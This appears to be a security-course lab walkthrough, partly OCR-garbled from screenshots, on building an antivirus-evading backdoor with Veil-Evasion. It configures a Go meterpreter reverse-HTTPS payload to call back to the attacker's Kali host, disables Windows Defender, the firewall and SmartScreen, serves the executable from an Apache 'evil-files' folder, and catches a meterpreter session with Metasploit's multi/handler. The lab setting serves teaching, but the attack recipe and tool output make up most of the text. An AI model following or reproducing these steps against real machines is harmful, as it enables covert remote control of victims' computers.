Create backdoors with Veil-Evasion

Veil-Evasion is an instrument designed to produce payload executables that sidestep regular antivirus solutions. As long as the antivirus is kept up to date, it might be able to detect malware created using Veil-Evasion. This wasn't the case a few years ago.

Notes

- A recent version of Windows OS is required for this lab: either Windows 10 or 11 VM
- For Network settings, students can choose Nat Network settings or bridged adapter.

Installing Veil:

1. On Kali's terminal, type: git clone https://github.com/Veil-Framework/Veil.git

```
-(kali@kali)-[~/Desktop]
_$ git clone https://github.com/Veil-Framework/Veil.git
Cloning into 'Veil' ...
remote: Enumerating objects: 2241, done.
remote: Counting objects: 100% (87/87), done.
remote: Compressing objects: 100% (68/68), done.
remote: Total 2241 (delta 31), reused 63 (delta 19), pack-reused 2154
Receiving objects: 100% (2241/2241), 722.64 KiB | 3.31 MiB/s, done.
Resolving deltas: 100% (1255/1255), done.
 —(kali®kali)-[~/Desktop]
-s cd Veil/
  -(kali®kali)-[~/Desktop/Veil]
                 Veil (Setup Script) | [Updated]: 2018-05-08
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
                 os = kali
         osversion = 2022.3
       osmajversion = 2022
               arch = x86_{64}
           trueuser = kali
  userprimarygroup = kali
        userhomedir = /home/kali
            rootdir = /home/kali/Desktop/Veil
            veildir = /var/lib/veil
         outputdir = /var/lib/veil/output
    dependenciesdir = /var/lib/veil/setup-dependencies
            winedir = /var/lib/veil/wine
          winedrive = /var/lib/veil/wine/drive_c
            gempath = Z:\var\lib\veil\wine\drive_c\Ruby187\bin\gem
```

- 2. Cd Veil/
- 3. ./config/setup.sh -force --silent

```
[I] Kali Linux 2022.3 x86_64 detected...
[I] Silent Mode: Enabled
[I] Force Mode: Enabled
[?] Are you sure you wish to install Veil?
    Continue with installation? ([y]es/[s]ilent/[N]o): S
[*] Pulling down binary dependencies
[*] Empty folder... git cloning
Cloning into '/var/lib/veil/setup-dependencies'...
remote: Enumerating objects: 12, done.
remote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 12
Receiving objects: 100% (12/12), 207.29 MiB | 14.78 MiB/s, done.
[*] Installing Wine
[*] Already have x86 architecture added...
  -(administrator@plabkali)-[~/Veil]
_s veil
Command 'veil' not found, but can be installed with:
sudo apt install veil
Do you want to install it? (N/y)y
sudo apt install veil
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
```

The following additional packages will be installed: binfmt-support ca-certificates-mono cli-common g++-mingw-w64 g++-mingw-w64-i686 g++-mingw-w64-i686-posix g++-mingw-w64-i686-win32 g++-mingw-w64-x86-64 g++-mingw-w64-x86-64-posix g++-mingw-w64-x86-64-win32 gcc-mingw-w64 gcc-mingw-w64-i686

4. sudo apt install veil

5. Type: veil

Note: If you get this error, try sudo apt install wine



Note: If you got this error: 'No module named tool', you can use the following command to fix it: *sudo apt update && sudo apt -y install veil && sudo /usr/share/veil/config/setup.sh --force --silent*



6. If there is no error, you should see this menu:



7. Type: *list*

Veil>: list Places			
Veil [Version]: 3.1.14 Computer			
[Web]: https://www.veil-framework.com/ [Twitter]: @VeilFramework			
<pre>[*] Available Tools: 1) Evasion 2) Ordnance</pre>	Trash Documents Music		
Veil>:			

8. Evasion will generate undetectable backdoors for us. Ordnance will generate the payload for the evasion. It's a helper or secondary tool.

9. Type: *use 1*



10. There are 41 different payloads. To see all available payloads, type: list

Veil/Evasion>:	list ppendix				
	Veil-Evasion				
[Web]: ht	[Web]: https://www.veil-framework.com/ [Twitter]: @VeilFramework				
		🕂 🔶 🔶 🏠 👘 edi			
[*] Available	Payloads:				
1)	autoit/shellcode_inject/flat.py				
2) 3) 4)	auxiliary/coldwar_wrapper.py auxiliary/macro_converter.py auxiliary/pyinstaller_wrapper.py				
5) 6) 7) 8)	<pre>c/meterpreter/rev_http.py c/meterpreter/rev_http_service.p c/meterpreter/rev_tcp.py c/meterpreter/rev_tcp_service.py</pre>	y Documents Music Pictures			

- The first part of the payload is the type of language where the evil code can be wrapped with: python, c, go, cs...
- The second part of the payload is the type of the code that will be executed on the target computer. Meterpreter: payload designed by Metasploit. Huge framework for hacking and can do a lot of things: install keylogger, turn on microphone, webcam.... All of this will be run from the memory from normal processes on the system so it's very hard to detect and doesn't leave a lot of footprints.
- The third part is the method to establish the connection rev: reverse: https: the protocol to be used to establish the connection. Reverse: the connection will come from the target computer to my computer.
- Once the user double clicks on the backdoor, the backdoor will be connected back to me from the target computer. It will bypass the antivirus program because the connection is not going to go the target computer, it's coming back to the hacker's computer. It's literally as if the target computer is connecting to a normal website.
- It's a very handy way to connect to the target computer.
- Some of the payloads don't follow naming patterns like :

lua/shellcode_inject/flat.py

. It's a payload that is going to inject other payloads.

For example, it will inject the meterpreter payload.

9)	cs/meterpreter/rev http.pv
1	0)	cs/meterpreter/rev_https.pv
l apt up	1)	cs/meterpreter/rev_tcp.pv
2 apt in	2)	cs/shellcode inject/base64.pv
3/usr/s	ajre∕ve	cs/shellcode inject/virtual.pv
	,	,,,, ,
1	4)	go/meterpreter/rev_http.py
1	5)	go/meterpreter/rev_https.py
1	6)	<pre>go/meterpreter/rev_tcp.py</pre>
1	7)	<pre>go/shellcode_inject/virtual.py</pre>
1	8)	lua/shellcode_inject/flat.py
1	9)	<pre>perl/shellcode_inject/flat.py</pre>
2	.0)	powershell/meterpreter/rev_http.py
2	1)	powershell/meterpreter/rev_https.py
2	2)	powershell/meterpreter/rev_tcp.py
2	3)	<pre>powershell/shellcode_inject/psexec_virt</pre>
2	(4)	<pre>powershell/shellcode_inject/virtual.py</pre>
2	.5)	python/meterpreter/bind_tcp.py
2	(6)	python/meterpreter/rev_http.py
2	7)	python/meterpreter/rev_https.py
2	.8)	python/meterpreter/rev_tcp.py
2	9)	<pre>python/shellcode_inject/aes_encrypt.py</pre>
3	(0)	<pre>python/shellcode_inject/arc_encrypt.py</pre>
3	1)	python/shellcode_inject/base64_substitut
3	2)	<pre>python/shellcode_inject/des_encrypt.py</pre>
3	3)	<pre>python/shellcode_inject/flat.py</pre>
3	(4)	<pre>python/shellcode_inject/letter_substitut</pre>
3	5)	<pre>python/shellcode_inject/pidinject.py</pre>
3	6)	<pre>python/shellcode_inject/stallion.py</pre>
3	7)	ruby/meterpreter/rev_http.py
3	8)	ruby/meterpreter/rev_https.py
3	9)	ruby/meterpreter/rev_tcp.py
4	0)	ruby/shellcode_inject/base64.py
4	1)	<pre>ruby/shellcode_inject/flat.py</pre>
Veil/Evas	ion>: ι	ise 15

11. Type : **use 15**

Veil/Evasion>: use 15			23	
1 apt update 2 apt install -v veil	Veil	-Evasion		
[Web]: https://w	w.veil-framework	.com/ [Twitter]: @VeilFramework		
Payload Information:			k Forward Sy	rc Print
Name: Language: Rating: Description:	Pure Golang Rev go Normal pure windows/me shellcode	verse HTTPS Stager eterpreter/reverse_https stager, no		Favorites
Payload: go/meterpreter	/rev_https selec	ted		estions (FAQ)
Required Options:				
Name	Value	Description		
BADMACS CLICKTRACK COMPILE_TO_EXE CURSORCHECK	FALSE X Y FALSE	Check for VM based MAC addresses Require X number of clicks before ex Compile to an executable Check for mouse movements	ayword Reference soro Reference xecutionon Reference opendix redit	
DISKSIZE HOSTNAME INJECT_METHOD	X X Virtual	Check for a minimum number of gigs of Optional: Required system hostname Virtual or Heap TP of the Metsenloit handler	for hard disk et of molt and Develope E USer Defined Funct	
LPORT MINPROCS PROCCHECK	80 X FALSE	Port of the Metasploit handler Minimum number of running processes Check for active VM processes		
PROCESSORS RAMCHECK SLEEP USERNAME USERPROMPT UTCCHECK	X FALSE X FALSE FALSE	Optional: Minimum number of processo Check for at least 3 gigs of RAM Optional: Sleep "Y" seconds, check : Optional: The required user account Prompt user prior to injection Check if system uses UTC time	ors if accelerated	
Available Commands:				
back exit	Go back to Veil Completely exit	-Evasion : Veil		
generate options set	Generate the pa Show the shello Set shellcode o	nyload code's options option		
[

- 12. Split the terminal either vertically or horizontally to have another terminal.
- 13. Type *IP config* on the second terminal to identify the IP address of the kali VM.
- 14. SET LHOST 192.168.178.31 (in my case, that's the ip address of the kali VM).



15. Type: options

[go/meterpreter/rev_htt	tps>>]: options	I LI C R A	1	
Payload: go/meterpreter/rev_https selected				
Required Options: conf				
Name	Value	Description		
BADMACS CLICKTRACK COMPILE_TO_EXE CURSORCHECK DISKSIZE HOSTNAME INJECT_METHOD LHOST LPORT MINPROCS PROCCHECK PROCESSORS RAMCHECK SLEEP USERNAME USERPROMPT UTCCHECK Available Commands:	FALSE X FALSE X Virtual 192.168.178.31 8080 X FALSE X FALSE X FALSE X FALSE FALSE FALSE	Check for VM based MAC addresse Require X number of clicks befor Compile to an executable Check for mouse movements Check for a minimum number of g Optional: Required system host Virtual or Heap IP of the Metasploit handler Port of the Metasploit handler Minimum number of running proce Check for active VM processes Optional: Minimum number of pro Check for at least 3 gigs of RA Optional: Sleep "Y" seconds, ch Optional: The required user acc Prompt user prior to injection Check if system uses UTC time	es pre execut gigs for H name esses pcessors AM heck if ac count	tion Search ard disk stallation Directory requently Asked Q ang Autolt utorials anguage Reference b) COM Reference b) COM Reference ccelerated unction Reference prendix redits story / ChangeLof atol and Develope
back exit generate options set [go/meterpreter/rev_htt	Go back to Veil Completely exit Generate the pa Show the shellc Set shellcode o	-Evasion Veil yload ode's options option		User Defined Funct

Let's apply some settings before generating the backdoor like that.

- 16. Set LPORT 8080
- 17. Set Processors 1
- 18. Set sleep 6



- 19. Type: *options* to see the updated options
- 20. Type: *generate* to generate the payload

[go/meterpreter/rev_https>>]: options

Payload: go/meterpreter/rev_https selected

Required Options:

Name	Value	Description	
<u> </u>			
BADMACS	FALSE	Check for VM based MAC addresses	
CLICKTRACK	X	Require X number of clicks before exec	cution
COMPILE_TO_EXE	Y	Compile to an executable	
CURSORCHECK	FALSE	Check for mouse movements	
DISKSIZE	x	Check for a minimum number of gigs for	r hard disk
HOSTNAME	x	Optional: Required system hostname	
INJECT_METHOD	Virtual	Virtual or Heap	
LHOST	192.168.178.31	IP of the Metasploit handler	
LPORT	8080	Port of the Metasploit handler	
MINPROCS	x	Minimum number of running processes	
PROCCHECK	FALSE	Check for active VM processes	
PROCESSORS	1	Optional: Minimum number of processors	S answord Deference
RAMCHECK	FALSE	Check for at least 3 gigs of RAM	
SLEEP	6	Optional: Sleep "Y" seconds, check if	accelerated
USERNAME	x	Optional: The required user account	
USERPROMPT	FALSE	Prompt user prior to injection	
UTCCHECK	FALSE	Check if system uses UTC time	

Available Commands:

back	Go back to Veil-Evasion
exit	Completely exit Veil
generate	Generate the payload
options	Show the shellcode's options
istall set l	Set shellcode option

[go/meterpreter/rev_https>>]:

[go/meterpreter/rev_https>>]: generate	
Veil-Evasion	Index
[Web]: https://www.veil-framework.com/ [Twitter]: @VeilFramework	troduction
<pre>[>] Please enter the base name for output files (default is payload): rev runtime/internal/sys runtime/internal/atomic runtime errors internal/race sync/atomic unicode unicode/utf8 container/list sync math crypto/subtle in</pre>	refise r_https_8080 sing Autol utorials anguage F UI Refere b/COM R eyword R acro Refe unction Ref ppendix redits istory / Co utolt and J
internal/syscall/windows/sysdll unicode/utf16 syscall hash bytes crypto/cipher strings crypto/hmac	



- 21. Give a meaningful name to your backdoor: such as: rev_https_8080
- 22. (To remember which payload and which port to use for this backdoor in the future, it's telling us the module that's used and it's telling us where the backdoor is stored.)

	Veil-Evasion
[Web]: https://www.vei	il-framework.com/ [Twitter]: @VeilFramework
/eil-Evasion Menu	
41 payloads loaded	
Available Commands:	
back checkvt clean exit info list	Go to Veil's main menu Check VirusTotal.com against generated hashes Remove generated artifacts Completely exit Veil Information on a specific payload List available payloads Use a specific payload

- 23. Copy the link of the executable: /var/lib/veil/output/compiled/rev_https_8080.exe
- 24. From Kali, go to: <u>https://antiscan.me/</u>. It will ask you to upload a file to scan it.:

AVCHECK API - WORK

Choose File No file chosen				
Scan File				
Select your file in order to scan your file with over 26 anti-viruses.				
AND MANY MORE! WARZONE RAT NOTICE: Some AV can work un	IS EXCEL DROPPER			
Ad-Aware Antivirus: Gen:Variant.Trojan.Liev.9	Fortinet: Clean			
🥳 AhnLab V3 Internet Security:	🛜 F-Secure: Clean			
Malware/Win32.RL_Generic.R267371	🔶 IKARUS: Clean			
Alyac Internet Security: Gen:Variant.Trojan.Liev.9	Kaspersky: HEUR:Trojan.Win32.Generic			
🂐 Avast: Win32:Evo-gen [Trj]	WcAfee: Trojan-Veil-FLRKI7D2218B0C723			
AVG: detected	😽 Malwarebytes: Clean			
Avira: HEUR/AGEN.1211724	😈 Panda Antivirus: Clean			
B BitDefender: Gen:Variant.Trojan.Liev.9	Sophos: Clean			
R BullGuard: detected	Ø Trend Micro Internet Security: Clean			
ClamAV: Win.Malware.Liev-9646116-0	Webroot SecureAnywhere: Clean			
Comodo Antivirus: Clean	Windows 10 Defender: Trojan:Win32/Leivion.S			
DrWeb: Trojan.Siggen8.2653	A Zone Alarm: HELIR:Trojan Win32 Generic			
Emsisoft: Gen:Variant.Trojan.Liev.9	7 Zillya: Clean			
Eset NOD32: a variant of Win32/Agent.YXS trojan	Carlyo, Clean			

25. Due to the backdoor getting detected by the antiviruses, we are going to turn off the windows defender/firewall.

Customize Settings —		×
→ 🕆 🍻 « Windows Defender Firewall → Customize Settings 🗸 👌 Search Control Pan	el	٩
Customize settings for each type of patwork		
Customize settings for each type of network		
You can modify the firewall settings for each type of network that you use.		
Private network settings		
O Turn on Windows Defender Firewall		
Block all incoming connections, including those in the list of allowed apps		
Notify me when Windows Defender Firewall blocks a new app		
Turn off Windows Defender Firewall (not recommended)		
Public network settings		
Turn on Windows Defender Firewall		
Block all incoming connections, including those in the list of allowed apps		
Notify me when Windows Defender Firewall blocks a new app		
Turn off Windows Defender Firewall (not recommended)		

26. Make sure to turn off all the security settings before downloading the payload: windows defender, real time protection and the smart screen.





27. Now, from Kali go to Metasploit by typing: msfconsole



28. Type: use exploit/multi/handler. It will listen to open ports



29. Type: show options

<u>msf6</u> expl	oit(mu <mark>lti/handle</mark> r) > show o	ptions	ytes: Clean
Module op	tions (exploit/mu	lti/handle	r):	
Name	Current Setting	Required	Description	
Payload o	ptions (generic/s	hell_rever	se_tcp):	
Name	Current Setting	Required	Description	
LHOST LPORT	4444	yes yes	The listen address (an int The listen port	erface may be specified)

30. Type: set payload windows/meterpreter/reverse_https

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload ⇒ windows/meterpreter/reverse_https

31. Type: set LHOST 192.168.178.31 (this is the IP address of Kali. Type the IP address that you have for Kali.)

<u>msf6</u> exploit(**multi/handler**) > set LHOST 192.168.178.31 LHOST ⇒ 192.168.178.31

32. Type: set LPORT 8080

```
<u>msf6</u> exploit(multi/handler) > set LPORT 8080
LPORT ⇒ 8080
```

33. Type: show options



34. Type: exploit



- 35.Kali comes with a webserver. We are going to upload the backdoor there for testing, then it will be downloaded by the target machine.
- 36. open as root, create a folder called evil-files
- 37. Copy the backdoor from the executable link /var/lib/veil/output/compiled/rev_https_8080.exe created and paste it on: /var/www/html/



Note: This step can also be done through the terminal:

- cd /var/www/html
- sudo mkdir evil-files
- (If the evil-files directory is read only, you can type this command to be able to paste the backdoor there):
- sudo chmod -R ugo+rw /var/www/html/evil-files
- 38.Split the terminal; on another terminal: type: *service apache2 start*. It will start the Apache server on Kali.



39. Go to the Windows device> browser> type the IP address of kali/evil files> save>run. Although it's not the best way to get the virus but it's just for demo purposes.



40. If I go to Kali, there should be one session open. In this case, it's not open. We might probably need to try it on a new version of windows VM such as Windows 10.

<pre>[*] Started HTTPS reverse handler on https://192.168.178 [1] https://192.168.178.31:8080 handling request from 19 [*] https://192.168.178.31:8080 handling request from 19 [1] https://192.168.178.31:8080 handling request from 19 [2] Meterpreter session 1 is not valid and will be close [*] 192.168.178.37 - Meterpreter session 1 closed.</pre>	.31:8080 2.168.178.37; (UUID: nlgptrz1) 2.168.178.37; (UUID: nlgptrz1) 2.168.178.37; (UUID: nlgptrz1) d	Without a database con Staging x86 payload (1 Without a database con	nected that payload UUID 76732 bytes) nected that payload UUID	tracking will not work! tracking will not work!
<pre>msf6 exploit(multi/handler) > exploit</pre>				
<pre>[*] Started HTTPS reverse handler on https://10.0.2.8:8080 [*] https://10.0.2.8:8080 handling request from 10.0.2.15; (UUID: n7hylwjx) Staging x86 payload (176732 bytes) [*] Meterpreter session 1 opened (10.0.2.8:8080 → 10.0.2.15:49766) at 2022-10-19 23:14:00 -0400</pre>				
<pre>meterpreter > sysinfo Computer : MSEDGEWIN10 OS Constant : Windows 10 (10.0 Build Architecture : x64 System Language : en_US Domain Constant : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter > </pre>	Warning: you are using the Places 17763). Proot Devices File System st_Installveil			